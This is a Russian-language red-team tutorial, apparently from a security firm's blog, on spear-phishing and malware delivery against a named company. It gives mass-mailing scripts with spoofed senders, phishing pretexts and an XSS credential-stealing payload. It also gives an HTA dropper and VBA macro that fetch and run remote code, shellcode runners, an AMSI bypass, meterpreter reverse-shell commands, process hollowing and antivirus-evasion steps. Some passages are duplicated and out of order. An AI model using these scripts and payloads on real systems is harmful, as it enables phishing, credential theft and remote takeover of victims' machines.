Отправка ЦЕПОЧКИ — двух списков слов параллельно с профилированным содержимым <TARGET>.html для каждого получателя
#!/bin/bash while IFS= read -r sender && IFS= read -r receiver <&3 do swaks --header 'Subject: TEMAT' -f "$sender" -t "$receiver" --add-header "Content-Type: text/html" --body - < "$receiver.html" >/dev/null sleep 5 done < sender.txt 3<receiver.txt
ATTACKER_1@DOMAIN ATTACKER_3@DOMAIN ATTACKER_4@DOMAIN ATTACKER_5@DOMAIN
TARGET_1@DOMAIN TARGET_2@DOMAIN TARGET_3@DOMAIN TARGET_4@DOMAIN
Отправка настраиваемого HTML с ZIP-файлом во вложении:
import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email.mime.base import MIMEBase from email import encoders from time import sleep # Read the list of recipients from the file with open('emails.txt', 'r') as f: recipients = f.read().splitlines() for recipient in recipients: sender = 'SENDER@DOMAIN' subject = 'Wyciek danych' msg = MIMEMultipart() msg['From'] = sender msg['Subject'] = subject with open(recipient+'.html', 'r') as f: body = f.read() # Add the HTML body to the email msg.attach(MIMEText(body, 'html')) # Add the attachment to the email with open(recipient+'/sample.zip', 'rb') as f: attachment = MIMEBase('application', 'zip', Name='attach.zip') attachment.set_payload(f.read()) encoders.encode_base64(attachment) attachment.add_header('Content-Disposition', 'attachment', filename='attach.zip') msg.attach(attachment) smtp_obj = smtplib.SMTP('DOMAIN') msg['To'] = recipient smtp_obj.sendmail(sender, recipient, msg.as_string()) smtp_obj.quit() sleep(5)
Используйте знания, полученные из собранных данных, для построения правдоподобного сценария. У жертвы должна быть веская причина дочитать сообщение до конца и запустить вредоносный файл, который вы отправляете. Хорошей тактикой будет разбить атаку на несколько этапов. Шансы на успех значительно возрастут, если сначала отправить общее вопросное сообщение, дождаться ответа, а затем включить вредоносную ссылку в содержании вашего ответа.
Ниже приведены некоторые общие сценарии, которые можно использовать во время фишинговой кампании:
I. Информация об утечке данных – атака на IT-отдел Afine:
Содержание сообщения будет включать информацию об утечке данных сотрудников. Вложение sample.zip будет содержать загрузчик вредоносного ПО. Дополнительно будет указано, что информация была получена от ответственного за защиту данных в компании.
В конце сообщения можно попросить подтвердить, что данные действительно принадлежат сотрудникам, а также добавить, что данные зашифрованы, и указать пароль для доступа к ним — XYZ.
Включите ответственного за защиту данных в компании в скрытую копию (DW), используя ранее упомянутую технику добавления получателей без отправки сообщения им с помощью swaks:
-t 'TARGET_1@DOMAIN' --header "To: TARGET_1@DOMAIN, TARGET_2@DOMAIN, TARGET_3@DOMAIN"
Пример скрипта для автоматизации отправки почты:
import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email.mime.base import MIMEBase from email import encoders from time import sleep # Read the list of recipients from the file with open('emails.txt', 'r') as f: recipients = f.read().splitlines() for recipient in recipients: sender = 'security@ATTACKER_COM' subject = 'Data leak' msg = MIMEMultipart() msg['From'] = sender msg['Subject'] = subject with open(recipient+'.html', 'r') as f: body = f.read() # Add the HTML body to the email msg.attach(MIMEText(body, 'html')) # Add the attachment to the email with open('/root/'+recipient+'/sample.zip', 'rb') as f: attachment = MIMEBase('application', 'zip', Name='attach.zip') attachment.set_payload(f.read()) encoders.encode_base64(attachment) attachment.add_header('Content-Disposition', 'attachment', filename='attach.zip') msg.attach(attachment) smtp_obj = smtplib.SMTP('ATTACKER_COM') msg['To'] = recipient smtp_obj.sendmail(sender, recipient, msg.as_string()) smtp_obj.quit() sleep(5)
II. Новый портал управления – атака на HR-отдел Afine:
Атака основывается на неправильно настроенной DMARC-записи и уязвимости Reflected Cross-Site Scripting (XSS), обнаруженной на странице:
https://afine.com?s="><script/src=https://management-afine.com/x.js />
На этом этапе XSS-скрипт подгружает внешний скрипт, который изменяет отображение сайта afine.com. Скрипт отображает панель входа, аналогичную панели входа на другом сайте компании Afine.
Электронное письмо будет отправлено с поддельного аккаунта IT-руководителя, ответственного за предыдущий портал, с использованием техники подделки отправителя (email spoofing):
swaks --from [email protected] --to [email protected]
Если пользователь заполнит поля «Имя пользователя» и «Пароль» и нажмет кнопку «Войти», его учетные данные будут отправлены на сервер, находящийся под контролем злоумышленника.
Пример скрипта для автоматизации отправки почты:
#!/bin/bash for target_email in $(cat emails.txt) do swaks --header 'Subject: New panel for communication with the HR department' -f [email protected] -t "$target_email" -s afine.com --add-header "Content-Type: text/html" --body - < "$target_email.html">/dev/null sleep 5 done
III. Имитация другой компании для установления сотрудничества — атака на отдел продаж Afine.
В данной атаке требуется домен с названием компании, которую мы имитируем.
В содержании сообщения мы кратко описываем нашу компанию и прикрепляем ссылки на социальные сети, ранее подготовленные или подмененные на социальные сети другой компании, которую мы имитируем.
В конце сообщения добавляем ссылку, ведущую на сайт под нашим контролем, на котором подробно описано наше предложение услуг, и призываем к сотрудничеству.
Пример скрипта для автоматизированной отправки писем:
#!/bin/bash for target_email in $(cat emails.txt) do swaks --header 'Subject: Request for an offer - ATTACKER_COMPANY' -f sales@ATTACKER_COMPANY_COM -t "$target_email" -s ATTACKER_COMPANY_COM --add-header "Content-Type: text/html" --body - < "$target_email.html" >/dev/null sleep 5 done
Описание процесса отправки фишинговых сообщений
Подготовьте инфраструктуру как минимум за месяц до проведения оценки.
Старые домены с меньшей вероятностью будут помечены как спам. Рассмотрите возможность использования других TLS-сертификатов, кроме Let’s Encrypt.
Сервисы, такие как AWS Certificate Manager, менее подозрительны. Вы можете использовать эту ссылку, чтобы ознакомиться с альтернативами.
Не используйте слишком длинные URL и подозрительные параметры, такие как ?attack= или ?phishing=.
То же касается файлов, которые вы отправляете жертве: их тип, размер и название имеют значение.
Перед отправкой фишинговых писем используйте Phishious для оценки, будет ли ваше письмо помечено как спам. Узнайте, как использовать этот сервис, ознакомившись с кратким 8-минутным руководством.
Дополнительно, вы можете использовать инструмент Mariusz Banach, известного как mgeeky, под названием decode-spam-headers.py, чтобы понять, почему конкретное письмо попало в СПАМ. Для использования инструмента сохраните письмо в формате EML или TXT, включая все заголовки, и примените инструмент к этому файлу.
python3 decode-spam-headers.py test.eml -f html -o report.html
- Для вашего HTML-шаблона, используемого для отправки фишинговых писем, также следует использовать другой инструмент от mgeeky, называемый phishing-HTML-linter.py, который поможет вам выявить проблемы с вашим HTML-кодом, которые могут привести к блокировке вашего письма.
- Рекомендуется реализовать некоторое ограничение при отправке писем, чтобы они отправлялись не чаще одного письма в час.
- Наконец, если вы нацеливаетесь на различные департаменты компании, начните с чего-то, кроме IT. Если кто-то из них распознает атаку, он, вероятно, уведомит остальную часть компании, чтобы обратить внимание на фишинговые атаки, что повысит осведомленность и уменьшит шансы на успех.
Как и в случае с доставкой, существует множество способов создания вредоносного ПО.
В зависимости от операционной системы жертвы, вы можете использовать различные дропперы, которые загружают вредоносное ПО в разных форматах. Например, если вы выбрали канал передачи через чат, такой как Telegram, вам следует рассмотреть использование дроппера для Android/iOS вместо того, который использует PowerShell.
То же самое касается типа вредоносного ПО. Ваша атака не будет успешной, если вы отправите исполнимый файл Process Executable (PE) для системы Linux. Поэтому важно сначала провести разведку, так как это составляет 90% успеха, но оставшиеся 10% касаются выполнения вредоносного ПО.
Важно убедить жертву открыть доставленный файл, но наиболее важным моментом является то, чтобы антивирус не обнаружил дроппер.
В корпоративной среде вы часто будете сталкиваться с включенным AppLocker на целевых системах Windows.
AppLocker — это функция безопасности в операционных системах Windows, которая позволяет администраторам создавать правила на основе различных критериев, таких как путь к файлу, издатель, хеш файла или расширение файла. Эти правила определяют, разрешено ли приложение или файл для выполнения, и могут быть применены как на отдельных компьютерах, так и в пределах всей сетевой доменной среды.
Существует множество способов обхода AppLocker. Техника обхода зависит от конфигурации правил AppLocker. Ниже приведен список наиболее часто используемых методов обхода:
- Разрешены (Microsoft-)подписанные двоичные файлы -> LOLBAS
- Исполнимые файлы в каталоге Windows, как правило, разрешены.
- Вы можете поместить двоичные файлы в:
Нет записываемых подкаталогов, но в каталоге существуют записываемые файлы -> запишите файл в альтернативный поток данных. Исполнение DLL не ограничено -> выполните DLL с помощью команды rundll32. Разрешены сторонние двоичные файлы:
- Используйте Python.
- Оберните JScript в HTA.
- Запустите файлы XSL с помощью wmic. Правила AppLocker не применяются для локальных администраторов -> повысите свои привилегии.
Для более подробной информации ознакомьтесь с Ultimate AppLocker ByPass List.
Режимограниченногоязыка (Constrained Language Mode)
Еще одной функцией безопасности в Windows является режим ограниченного языка (CLM). В этом режиме определенные элементы языка и командлеты ограничены или отключены для предотвращения потенциальных уязвимостей безопасности. Например, доступ к файловой системе, реестру и сетевым ресурсам может быть ограничен. Также может быть ограничена возможность выполнения произвольных команд или загрузки внешних сборок.
C:\Windows\Tasks C:\Windows\Temp C:\windows\tracing C:\Windows\Registration\CRMLog C:\Windows\System32\FxsTmp C:\Windows\System32\com\dmp C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\System32\spool\PRINTERS C:\Windows\System32\spool\SERVERS C:\Windows\System32\spool\drivers\color C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter C:\Windows\System32\Tasks_Migrated (after peforming a version upgrade of Windows 10) C:\Windows\SysWOW64\FxsTmp C:\Windows\SysWOW64\com\dmp C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\SystemЭта статья поможет вам получить начальный доступ к целевой системе во время проведения Red Team проекта. Она разделена на две части для удобства восприятия. Первая часть описывает использование OSINT для доставки вредоносного ПО, в основном для целевого фишинга. Во второй части рассматривается создание вредоносного ПО и применение методов обхода обнаружения. Мы надеемся, что эта статья будет для вас информативной и интересной!
Нет записываемых подкаталогов, но в каталоге существуют записываемые файлы -> запишите файл в альтернативный поток данных. Исполнение DLL не ограничено -> выполните DLL с помощью команды rundll32. Разрешены сторонние двоичные файлы:
- Используйте Python.
- Оберните JScript в HTA.
- Запустите файлы XSL с помощью wmic. Правила AppLocker не применяются для локальных администраторов -> повысите свои привилегии.
Для более подробной информации ознакомьтесь с Ultimate AppLocker ByPass List.
Режимограниченногоязыка (Constrained Language Mode)
Еще одной функцией безопасности в Windows является режим ограниченного языка (CLM). В этом режиме определенные элементы языка и командлеты ограничены или отключены для предотвращения потенциальных уязвимостей безопасности. Например, доступ к файловой системе, реестру и сетевым ресурсам может быть ограничен. Также может быть ограничена возможность выполнения произвольных команд или загрузки внешних сборок.
Стандартным обходом этого режима является создание исполнимого файла, который выполняет сеанс PowerShell в полном режиме языка, даже когда включен режим ограниченного языка.
Более подробную информацию о CLM и проект Visual Studio для его обхода можно найти здесь.
Дроппер — это тип вредоносного ПО, отвечающий за доставку и установку вредоносных полезных нагрузок на систему жертвы. Он обычно действует как носитель или механизм доставки вредоносного кода.
Дроппер разрабатывается таким образом, чтобы избежать обнаружения, и часто использует различные методы обфускации для обхода мер безопасности. После того как дроппер успешно проникает в систему, он выполняет свою полезную нагрузку, включая различные вредоносные действия, такие как загрузка дополнительного вредоносного ПО, установление постоянства или инициирование других форм атак.
Учитывая, что в отделе продаж компании Afine могут быть применены наборы стандартных правил безопасности, мы создадим дроппер в формате HTA, который загружает исполнимый файл вредоносного ПО в директорию C:\Windows\Tasks, откуда он будет затем выполнен дроппером для активации второй стадии атаки, которая обеспечит обратное подключение.
Эта директория выбрана не случайно. По умолчанию операционная система Windows позволяет записывать файлы в нее и выполнять их оттуда.
Пример кода дроппера приведен ниже:
<html> <head> <script language="JScript"> var shell = new ActiveXObject("WScript.Shell"); var res = shell.Run("powershell iwr -uri 'https://management-afine.com/setup.exe' -Outfile C:\\Windows\\Tasks\\HOLLOW.exe;C:\\Windows\\Tasks\\setup.exe"); </script> </head> <body> <script language="JScript"> self.close(); </script> </body> </html>
Проверка на обнаружение дроппера
К сожалению, сайт https://antiscan.me/ не поддерживает сканирование файлов .hta, но вы можете использовать другой формат, который принимается системой, чтобы обойти это ограничение. Это, конечно, не будет так точно, как с правильным форматом, но всегда стоит проверить, особенно если вы хотите проверить ELF бинарные файлы.
На экране ниже показано, что Microsoft Defender не обнаруживает наш дроппер:
Определенно есть место для улучшений, но основная цель — Windows Defender — чисто.
Одним из важнейших моментов, которые стоит отметить: не используйте VirusTotal, так как этот сервис обновляет базы данных антивирусов, что может помешать успешной атаке. Тем не менее, я не атакую никого здесь, и мне интересно, обнаружит ли VirusTotal файл platform.hta.
Я выбрал файл HTA, поскольку при двойном щелчке на файле с расширением ".hta" в стандартной системе Windows по умолчанию выполняется файл с помощью хоста HTML-приложений Windows (mshta.exe).
HTA (HTML Application) — это формат файла, который позволяет создавать приложения с использованием HTML, CSS и JavaScript. Файлы HTA предназначены для работы в операционных системах Windows и предоставляют способ создания пользовательских интерфейсов и выполнения различных задач с использованием веб-технологий.
Shellcode Runner — это инструмент, предназначенный для выполнения шеллкода на скомпрометированной системе. Он предоставляет необходимую среду и контекст для запуска шеллкода, который выполняет свои вредоносные действия.
Связь между дроппером и Shellcode Runner заключается в том, что основная цель дроппера — доставить и запустить Shellcode Runner.
В приведенном примере я использовал HTA-файл в качестве дроппера, в котором загруженный и выполненный setup.exe является Shellcode Runner.
Содержимое программы запуска Shellcode Runner от следующего:
- Операционная система – должна быть совместима с операционной системой, используемой жертвой, такой как Windows, Linux, iOS и т.д.
- Архитектура – должна быть совместима с архитектурой целевой системы, такой как x86, x64, ARM и т.д.
- Технология внедрения – в зависимости от технологии внедрения, используемой для доставки шелл-кода, программа запуска шелл-кода может содержать дополнительный контент, специфичный для этой технологии. Например, если используется заполнение процесса, программа запуска шелл-кода должна включать необходимый код для создания целевого процесса и управления им.
- Меры по предотвращению обнаружения – могут включать методы обхода или отключения антивирусных систем или систем обнаружения вторжений. Это может включать изменение системных настроек, отключение служб безопасности или использование других методов для вхождения в законные процессы и уклонения от обнаружения.
Пример запуска шелл-кода для фишинга:
Может быть использован в сценарии HTA-спамер.
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=$ip LPORT=443 -f csharp
sudo msfconsole -x "use exploit/multi/handler;set payload windows/x64/meterpreter/reverse_https;set LHOST $ip;set LPORT 443; set exitfunc thread;run;"
Запуск (заменить шеллкод на 23-й строке):
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Diagnostics; using System.Runtime.InteropServices; namespace ConsoleApp1 { class Program { [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("kernel32.dll")] static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); static void Main(string[] args) { byte[] buf = new byte[630] { SHELLCODE_PLACEHOLDER }; int size = buf.Length; IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40); Marshal.Copy(buf, 0, addr, size); IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); WaitForSingleObject(hThread, 0xFFFFFFFF); } } }
Совет – Указанный выше EXE Shellcode Runner может быть загружен с использованием PowerShell для выполнения в памяти:
$data = (New-Object System.Net.WebClient).DownloadData('http://$ip/shell.exe') $assem = [System.Reflection.Assembly]::Load($data) [rev.Program]::Main()
PowerShell с использованием рефлексии
Может быть использован, например, в сценарии Macro VBA для загрузки.
Dropper (для демонстрации простого примера – не обфусцирован, поэтому AV легко его обнаруживает. Ознакомьтесь с VBA Purge technique to obfuscate it ):
Sub MyMacro() Dim str As String str = "powershell (New-Object System.Net.WebClient).DownloadString('http://$ip/crimson.txt') | IEX" Shell str, vbHide End Sub Sub Document_Open() MyMacro End Sub Sub AutoOpen() MyMacro End Sub
$a = [Ref].Assembly.GetTypes() ForEach($b in $a) {if ($b.Name -like '*iUtils') {$c = $b}} $d = $c.GetFields('NonPublic,Static') ForEach($e in $d) {if ($e.Name -like '*Failed') {$f = $e}} $f.SetValue($null,$true)
msfvenom -pwindows/meterpreter/reverse_httpsLHOST=$ipLPORT=443 EXITFUNC=thread -fps1 -oshellcode.ps1
sudo msfconsole -x "use exploit/multi/handler;set payload windows/x64/meterpreter/reverse_https;set LHOST $ip;set LPORT 443; set exitfunc thread;run;"
Runner (замените код оболочки в 23-й строке):
function LookupFunc { Param ($moduleName, $functionName) $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') $tmp=@() $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}} return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName)) } function getDelegateType { Param ( [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func, [Parameter(Position = 1)] [Type] $delType = [Void] ) $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',[System.MulticastDelegate]) $type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed') $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed') return $type.CreateType() } $lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc),(getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40) [Byte[]] $buf = SHELLCDOE_PLACEHOLDER [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length) $hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero) [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF)
Совет – Чтобы выполнить x64 Shellcode из приложения x86 (например, MS Word), укажите путь к бинарному файлу PowerShell x64 в папке Sysnative (C:\Windows\Sysnative). Папка "Sysnative" невидима в проводнике Windows, поскольку проводник Windows является 64-битным приложением (когда он запущен в 64-битной версии Windows).
Однако папка существует и может быть доступна, если вы используете x86-приложение.
Вы можете прочитать больше об этом здесь.
Работает при двойном щелчке, но должен быть скомпилирован для текущей архитектуры операционной системы.
msfvenom -pwindows/meterpreter/reverse_httpsLHOST=$ipLPORT=443 -fcsharp -oshell.cs
sudo msfconsole -x "use exploit/multi/handler;set payload windows/x64/meterpreter/reverse_https;set LHOST $ip;set LPORT 443; set exitfunc thread;run;"
using System; using System.Runtime.InteropServices; [ComVisible(true)] public class TestClass { [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("kernel32.dll")] static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); public TestClass() { byte[] buf = new byte[???] { SHELLCODE }; IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40); Marshal.Copy(buf, 0, addr, buf.Length); IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); WaitForSingleObject(hThread, 0xFFFFFFFF); } }
Для создания JS из DLL вам необходим этот инструмент.
После компиляции скопируйте ExampleAssembly.dll в каталог \DotNetToJScript\bin\x86\Release\ и выполните команду:
.\DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o runner.js
Затем можно использовать обфускацию JavaScript для повышения скрытности. Например, этот онлайн-obfuscator:
Для текущего сценария мы будем использовать EXE Shellcode Runner с использованием техники, называемой Process Hollowing.
Process Hollowing — это техника выполнения вредоносного кода путем создания нового процесса и замены его легитимного содержимого на вредоносный код.
Это форма инъекции кода, которая позволяет атакующему выполнять свой код в контексте легитимного процесса, что затрудняет обнаружение и отслеживание его активности.
Краткое пошаговое объяснение того, как работает Hollowing:
- Процесс жертвы создается в приостановленном состоянии (например, svchost.exe).
- Его изображение извлекается из памяти, и вместо него записывается вредоносный бинарный файл.
- Состояние программы затем возобновляется для выполнения внедренного кода.
Основная цель — это svchost.exe, потому что, по сути, он выполняет TCP-соединения и не вызывает подозрений в случае подозрительных действий.
Для более подробного объяснения, пожалуйста, ознакомьтесь с этой ссылкой.
Сначала сгенерируйте C# shellcode, зашифрованный с использованием символа "w":
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=$ip LPORT=443 EXITFUNC=thread -f csharp --encrypt xor --encrypt-key w -o shell.cs
Затем скачайте шаблон HOLLOW.sln с моего GitHub, замените shellcode на строке 89 и скомпилируйте его как x64.
Затем будет лучше, если вы развернете это на своем VPS, используя HTTP веб-сервер. Замените HOLLOW.exe на setup.exe или наоборот, в вашем HTA dropper.
ConfuserEx отлично справляется с обфускацией C# приложений. Вам нужно скомпилированное EXE-исполняемое бинарное приложение, и вы можете использовать его следующим образом:
Агрессивная предустановка для глобальных и Platform.exe
Для EXE, написанного на C/C++, вы можете использовать криптер Hyperion:
hyperion.exe input.exe evil.exe
В конце концов, вы можете использовать упаковщик Pezor для обертывания evil.exe.
Вы можете использовать Pezor для любого PE-файла, не только скомпилированного на C/C++:
bash PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=10 evil.exe -z 2
О сертификатах В приведенных выше примерах мы генерировали шеллкод с использованием Msfvenom, который рандомизирует SSL-сертификаты. Такие сертификаты могут быть обнаружены с помощью сканирования по подписям. Вы можете обойти это, создав собственный SSL-сертификат.
Создайте самоподписанный сертификат с пользовательскими данными:
openssl req -new -x509 -nodes -out cert.crt -keyout priv.key
cat priv.key cert.crt > custom.pem
Измените CipherString=DEFAULT@SECLEVEL=2 в /etc/ssl/openssl.cnf на:
Хотя это снизит вероятность обнаружения, рекомендуется получить и использовать действительный сертификат, как было упомянуто ранее.
Некоторые продвинутые параметры модуля Metasploit multi/handler могут помочь обойти антивирусы.
Первый из них — опция SSL. Когда она установлена в значение true, ваш слушатель будет использовать SSL для соединения. Для этого можно использовать созданный ранее самоподписанный сертификат.
set payload windows/x64/meterpreter/reverse_https
set SSL true
set HandlerSSLCert /home/karmaz95/custom.pem
Еще одна удобная опция — отключить автоматическую загрузку stdapi, которая отвечает за загрузку стандартных команд Meterpreter. Когда она загружается, она резервирует место в памяти для функций Meterpreter. Антивирусы сканируют всю память процесса на наличие сигнатуры и могут обнаружить это как вредоносное. Если установить значение false, Meterpreter будет вести себя как обычное соединение. После получения обратной оболочки можно вручную загрузить stdapi.
set AutoLoadStdapi false
Опция AutoVerifySession заставляет Meterpreter отправлять еще одно соединение после установления первого, чтобы проверить, активно ли оно. Это также может быть обнаружено.
set AutoVerifySession false
Последние две опции следует использовать, если вы используете staged payload, так как они кодируют вторую стадию вашего shellcode Meterpreter.
set EnableStageEncoding True
set StagerEncoder x64/xor_dynamic
Здесь может возникнуть вопрос, почему не использовать сильно закодированный одноэтапный shellcode. Одно из основных преимуществ использования staged shellcode — это размер первого этапа в памяти: меньше байт, меньше вероятность обнаружения вредоносного кода и больше времени для миграции в другой процесс или выполнения hollowing процесса, что позволяет полностью обойти антивирус.
Хотя статья получилась немного длинной, она не раскрывает тему даже на несколько процентов. Описанные здесь техники все еще работают, но существуют более совершенные и сложные методы. Если вас интересует обход защиты Windows и Red Teaming, я настоятельно рекомендую следить за Mariusz, который делает в этой области успехи. Если вам сложно понять то, что вы прочитали, но вы хотите начать изучать эту тему, я рекомендую пройти курс PEN-300 (OSEP) от Offensive Security.
Также призываю вас регулярно посещать наш блог AFINE для получения новых знаний. Надеюсь, вам понравится!